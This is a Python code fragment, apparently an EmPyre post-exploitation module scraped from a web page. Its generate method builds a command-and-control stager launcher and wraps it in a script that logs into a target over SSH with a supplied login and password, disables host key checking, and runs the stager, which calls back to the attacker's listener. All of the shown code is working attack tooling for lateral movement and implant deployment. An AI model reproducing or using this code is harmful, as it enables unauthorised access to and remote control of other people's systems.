def generate(self):
login = self.options['Login']['Value']
password = self.options['Password']['Value']
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
littleSnitch = self.options['LittleSnitch']['Value']
isEmpire = self.mainMenu.listeners.is_listener_empyre(listenerName)
if not isEmpire:
print helpers.color("[!] EmPyre listener required!")
return ""
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, userAgent=userAgent, littlesnitch=littleSnitch)
launcher = launcher.replace("'", "\\'")
launcher = launcher.replace('"', '\\"')
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
script = """
import os
import pty
def wall(host, pw):
import os,pty
pid, fd = pty.fork()
if pid == 0:
os.execvp('ssh', ['ssh', '-o StrictHostKeyChecking=no', host, '%s'])
os._exit(1)
os.read(fd, 1024)
os.write(fd, '\\n' + pw + '\\n')
result = []
while True:
try:
data = os.read(fd, 1024)
if data == "Password:":
os.write(fd, pw + '\\n')
except OSError:
break
if not data:
break
result.append(data)
pid, status = os.waitpid(pid, 0)
return status, ''.join(result)
status, output = wall('%s','%s')
print status
print output
""" % (launcher, login, password)
return script
评论列表
文章目录